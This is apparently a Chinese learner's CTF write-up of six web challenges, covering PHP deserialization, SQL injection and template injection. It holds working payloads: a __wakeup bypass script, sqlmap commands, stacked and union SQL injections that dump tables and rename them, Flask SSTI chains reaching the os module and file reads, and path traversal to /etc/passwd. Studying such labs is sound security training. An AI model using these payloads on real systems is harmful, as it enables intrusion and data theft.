攻防世界题目练习——Web引导模式(二)

题目目录

    • 1. Web_php_unserialize
    • 2. supersqli
    • 3. web2
    • 4. NewsCenter
    • 5. Web_python_template_injection
    • 6. catcat-new

1. Web_php_unserialize

题目源码:

 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

首先要知道,在进行反序列化时,使用 unserialize() 反序列化会先调用 __wakeup()函数,PHP文件在执行结束的时候会将对象销毁,也就是调用__destruct()函数。
看源码可以知道,__wakeup()函数会强制将文件名转为index.php,因此我们需要绕过__wakeup()函数,接下来执行的__destruct()函数会输出对应文件的内容,我们需要让文件名显示为我们要查看的文件。
后面的if语句对传递的参数$var进行匹配判断,根据正则表达式的语法规则:
正则表达式 – 语法 | 菜鸟教程
/ 为定界符,每段正则表达式必须要有一对定界符
使用了 i 修正符,因此会不区分大小写去匹配
定界符中间的内容,没有用|隔开,匹配的是这一个类型格式的表达式:
[oc]匹配任何包含小写字母o,c的字符串,包含一个即可
\d匹配任何包含数字字符
+号代表前面的字符必须至少出现一次(1次或多次),在本例中,应该是表示至少有一个数字,也就是一位数以上
综上,匹配的是类似于O:1:的字符串,也就是对序列化后的格式的字符串进行了匹配过滤,不允许传递这样格式的参数,否则报错,因此我们要对这个过滤用字符进行绕过。
因此我的想法是考虑和冒号之间用\''将它们分隔一下来绕过。
绕过wakeup函数的话,当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()
先写个序列化的脚本:


class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
}

$a=new Demo('fl4g.php');
$b=serialize($a);
$b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
$b = str_replace(':1:', ':2:',$b);//绕过wakeup
echo $b;
echo ("\n");
echo base64_encode($b);
?>
//输出结果:
//O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

要绕过__wakeup()函数,就将Demo后的1改为2
绕过正则匹配,看到别人的题解里都是用+绕过,也没人说为什么,用引号和反斜杠绕过都不行。
在这里插入图片描述
参考博客:
攻防世界web进阶区Web_php_unserialize,序列化大详解

2. supersqli

题目:随便注
就是一道sql注入题
单引号注入:
id=’
出现报错:
在这里插入图片描述
尝试联合注入,发现存在过滤:
在这里插入图片描述
因此需要绕过过滤。
试过url编码和注释符/**/,都不太行,不知道怎么做。

用sqlmap爆破,命令及执行结果如下:

#获取数据库
python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" --dbs

攻防世界题目练习——Web引导模式(二)_第1张图片

#查看当前使用的数据库
python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" --current-db

在这里插入图片描述

#列出指定数据库的所有表
python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" -D "supersqli" --tables

报错说没有表
在这里插入图片描述
尝试了一些都失败了,对sql注入原理了解得看来还是不太清楚,还是去看看别人的解析吧TAT。
参考博客:
攻防世界之supersqli
我也尝试过用order by,博客里用#注释,可是我后面用–+注释就不行,为什么啊!!
对sql注入的引号判断还是不太了解,再学习一下吧。
参考博客:
SQL注入攻击大全
单引号、双引号、字符型判断:
输入1',如果报错为''1''',最外侧一对单引号是MYSQL错误信息包含的引号,那么实际的报错部分就是'1'',1后面的单引号是多余的,因此触发报错,就可以判断我们输入的参数就是单引号闭合的形式。
输入1",如果报错为'"1""',而输入1'不会报错,则可以判断是双引号闭合
输入2-1,如果能正常显示id=1时的内容,则判断为数字型。
在本题中,我们可以试验看到:
inject=2-1时,页面显示的是inject=2的内容
攻防世界题目练习——Web引导模式(二)_第2张图片
因此可以判断不是数字型,结合前面inject='时的报错显示,可以判断本题是单引号闭合。

关于注释符:
参考博客:
SQL注入中,注释#、 --+、 --%20、 %23到底是什么意思?sqli-labs-master
一般来说--注释符后面必须要有空格,但是get传参时空格会被忽略,因此通常采用--+来闭合,因为+会被解释为空格。
这一知识好像也解释了关于我构造的参数的空格在url中为什么会显示为+的问题:
攻防世界题目练习——Web引导模式(二)_第3张图片
在上面的图片中,+号被url编码为%2B,没有被当作空格,于是我们在--+之间加一个空格试试:
攻防世界题目练习——Web引导模式(二)_第4张图片
发现可以出现列数的报错,并且--+(%2B)之间的空格在url中被替换为+,那我们再试试直接在--后面加上空格,发现居然可以被正确替换为+
攻防世界题目练习——Web引导模式(二)_第5张图片
这下我已经完全理解了!
那接下来就开始正常的注入流程吧。
发现我对sql注入的流程理解也一般,根据参考博客了解到一般注入流程为:
1、判断闭合符:单引号闭合、双引号闭合、数字型
2、判断列数:用order by 4(根据第4列/字段排序)或者union select 1,2,3,4(选择出1,2,3,4列出来),如果报错说第4列不存在等,证明列数<4;如果正常显示查询结果,则首条查询语句包含4个字段。
3、查询数据库名?id=-1' union select 1,database(),1--+注意id=-1,此处id的值必须是一个在数据库中id字段不存在的值,否则联合查询第一条语句的查询结果将占据显示位,我们需要的第二条查询语句的查询结果就不能正常显示到浏览器中。(soga,原来如此)
4、查表名
5、查列名
6、查数据(4、5、6都要用id=-1)
攻防世界题目练习——Web引导模式(二)_第6张图片
在本题中,select被过滤掉了,因此不能用union select来查询,看到本题的参考博客里使用了堆叠注入,并且学到了用show databases的语句来查看的方式。(知识++)
堆叠注入参考博客:
sql注入之堆叠注入
下面就是解题过程了:

-1';show databases;#

攻防世界题目练习——Web引导模式(二)_第7张图片

-1';use supersqli;show tables;#

攻防世界题目练习——Web引导模式(二)_第8张图片

-1';use supersqli;show columns from `1919810931114514`;#
#当纯数字字符串是表名的时候需要加反引号`

攻防世界题目练习——Web引导模式(二)_第9张图片
接下来就是从表1919810931114514中查询flag
但是

select flag from `1919810931114514`

是行不通的,因为select被过滤了。
最简单的方法是使用handler查询法
参考博客:
MYSQL神秘的HANDLER命令与实现方法
不想仔细看,只学了一下解题博客攻防世界之supersqli里的使用,

-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#

然后是用的比较多的把存放flag的数字表名改成words,再把列名flag改成id,属于修改原查询法
通过handler方法我们可以看到words表里的内容,可以看到第一列就是我们查询1的时候的结果,也就是说,这个网页在查询数据库时,应该是默认的查询的表名为"words",查询的列名为"id",所以我们把flag所在的表名改成words,列名改成id,就可以在网页查询1时获得flag。
了解一下修改列名的格式:

语句:alter table + seat + change column    +seatid  + seat_id + int;
格式:alter table 表名 change column 旧列名 新列名  新列名格式;

参考博客:
【技巧】SQL中修改列名(column)
在本题中,先将原words表名修改成其他的名字,再将1919810931114514改成words,然后修改列名:

-1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);#

此时如果直接查询1,是没有结果回显的,因为现在的flag列里没有值为1的内容,我们用1' or 1#永真条件来显示表中的所有行来获取flag。
攻防世界题目练习——Web引导模式(二)_第10张图片
还有一种预编译绕过法:

-1';
set @sql = CONCAT('sele','ct flag from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;#

看看就好,我不想学了,详细内容参考解题博客:)。

3. web2

打开网页看到源码:


$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
    //strrev() 函数反转字符串。就是把字符串每个字符顺序完全反过来输出
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        //substr() 函数返回字符串的一部分。在字符串$_o中从$_0位置开始返回1长度的字符串。
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

照着逆向加密的顺序解密。
rot13加密算法是对称的,加密一次是将字符前移或后移13位,而在加密一次则是将其前移或后移26位,就完全回到了原来的位置上,相当于解密。
解密脚本如下:


$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
    
    $_o=base64_decode(strrev(str_rot13($str)));
    echo($_o);
    echo("\n");
    //运行结果:
    //~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg
    $_ = '';
    for($_0=0;$_0<strlen($_o);$_0++){
        $_c=substr($_o,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;
    }
    
    return strrev($_);
}
$mingwen=decode($miwen);
echo($mingwen);
//运行结果:
//flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
?>

这题感觉和web关系不大,建议放到密码学类里。

4. NewsCenter

打开网页如下:
攻防世界题目练习——Web引导模式(二)_第11张图片
什么都点不动,只有搜索框能用,抓包看了一下是post方式提交的参数,参数名是search。
攻防世界题目练习——Web引导模式(二)_第12张图片
猜一下可能是sql注入的题,搜索框输入',返回空白页面,可能是报错页面,又尝试1' or 1=1 -- ,发现返回了全部的news信息,应该是成功构造了永真条件返回了表中的所有行。有了上面supersqli题的经验,我们可以判断这是一个单引号闭合的查询,并且由于是post方式提交参数,--后面的空格可以被成功读取。
于是接下来判断列数:

//尝试:
1' order by 3 --
//页面正常返回,搜索结果为空
//尝试:
1' order by 4 -- 
//返回空页面

因此判断有3列。

接下来用联合注入尝试爆数据库:

-1' union select 1,database(),3 -- 

攻防世界题目练习——Web引导模式(二)_第13张图片
可以看到当前数据库为news。
使用group_concat()函数可以爆出所有数据库名:

-1' union select 1,group_concat(SCHEMA_NAME),3 from information_schema.schemata -- 

攻防世界题目练习——Web引导模式(二)_第14张图片
继续使用group_concat()函数可以爆出当前数据库所有表名:

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news' -- 

攻防世界题目练习——Web引导模式(二)_第15张图片
看到有个scret_table很可疑,查看这个表的所有列:

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table' -- 

攻防世界题目练习——Web引导模式(二)_第16张图片
可以看到有fl4g,于是查看fl4g:

-1' union select 1,group_concat(fl4g),3 from secret_table -- 

攻防世界题目练习——Web引导模式(二)_第17张图片

5. Web_python_template_injection

毫无头绪,搜了一下template的意思是模板,这个题目是模板注入,没见过。
放几篇参考博客:
攻防世界-Web_python_template_injection详解
从零学习flask模板注入 - FreeBuf网络安全行业门户

{{}}是变量包裹标识符,既可以传递变量,还可以执行一些简单的表达式。

模板注入的基本原理:如果用户输入作为模板当中变量 的值,模板引擎一般会对用户输入进行编码转义,不容易造成XSS攻击,代码输入会原样输出;如果用户输入作为了模板内容的一部分,用户输入会原样输出,如果是代码脚本则会被执行。内容参考:
SSTI(模板注入)基础总结 - 简书

首先测试是否存在模板注入漏洞:
用最简单的表达式,判断是否会被执行:

url/{{2*7}}

攻防世界题目练习——Web引导模式(二)_第18张图片
看到显示了2*7的结果,说明存在模板注入。

然后是查看当前配置的全局变量,暂时没看明白这个步骤有什么用:

url/{{config}}

攻防世界题目练习——Web引导模式(二)_第19张图片
然后了解一下几个魔术方法的作用:
通过这些魔术方法的调用来执行命令:

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

首先是查看可用的引用
我就不管为什么是__mro__[2]了,当作默认的记住吧。

url/{{''.__class__.__mro__[2].__subclasses__()}}
//最前面的''应该也可以换成()或者[]

攻防世界题目练习——Web引导模式(二)_第20张图片
如上图,可以看到有一个type ‘file’,可以进行文件读取,位于从0开始数的第40号位置,因此,对于该类型的引用如下:

url/{{ [].__class__.__base__.__subclasses__()[40]('想读取的文件名').read() }}

接下来再查找可以用来执行命令的引用,我们需要用这样的引用来找到存有flag的文件在哪里以及文件名是什么。这些博客都说的是查找含有’os’模块的引用:
有一篇博客写了个脚本找到第71号引用(看名字感觉 )是可以用来进行命令执行打印结果的:

<class 'site._Printer'>
url/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
//不知道为什么最后面换成system('ls')用不了

在这里插入图片描述
看到有fl4g文件正好在当前目录下,于是查看读取:

url/{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

在这里插入图片描述

6. catcat-new

尝试了sql注入和文件包含命令,没有什么头绪,搜搜别人的解析吧:)
参考博客:
攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园
确实是文件包含漏洞,但是我的思路不对,一开始上来就用伪协议,返回的只有错误页面。
参考博客里一开始都是用?file=…/…/…/…/etc/passwd查看敏感文件。
攻防世界题目练习——Web引导模式(二)_第21张图片
从这篇博客里学到了读取当前进程的命令行参数?file=../../../../proc/self/cmdline,没见过,第一次见,神奇,但感觉可能记不住。
攻防世界题目练习——Web引导模式(二)_第22张图片
有一个通过python启动app.py的命令,所以该网站是一个python框架,且是flask框架,因为app.py文件常常为flask项目结构中的主程序文件。于是读取app.py文件查看文件内容。
攻防世界题目练习——Web引导模式(二)_第23张图片
将换行符与单引号去转义输出。
我用的网站:在线字符串转义—LZL在线工具

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
 __name__,
 static_url_path='/', 
 static_folder='static' 
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
 flag = cat("/flag")
 #出现关键词flag
 os.remove("/flag")

@app.route('/', methods=['GET'])
def index():
 detailtxt = os.listdir('./details/')
 cats_list = []
 for i in detailtxt:
 cats_list.append(i[:i.index('.')])
 
 return render_template("index.html", cats_list=cats_list, cat=cat)



@app.route('/info', methods=["GET", 'POST'])
def info():
 filename = "./details/" + request.args.get('file', "")
 start = request.args.get('start', "0")
 end = request.args.get('end', "0")
 name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
 
 return render_template("detail.html", catname=name, info=cat(filename, start, end))
 


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
 if session.get('admin') == 1:
 #需要session为admin才能获得flag
 return flag
 else:
 session['admin'] = 0
 return "NoNoNo"



if __name__ == '__main__':
 app.run(host='0.0.0.0', debug=False, port=5637)

不想看了,看不懂,就先这样吧,跟着博客园做就能拿到flag,但是我不想努力了:)

——————————————————————————————————-————
先到这里吧,这些就是难度2的全部内容了,本篇还是有点长,接下来转到第(三)part

你可能感兴趣的:(前端,安全,web安全,网络安全)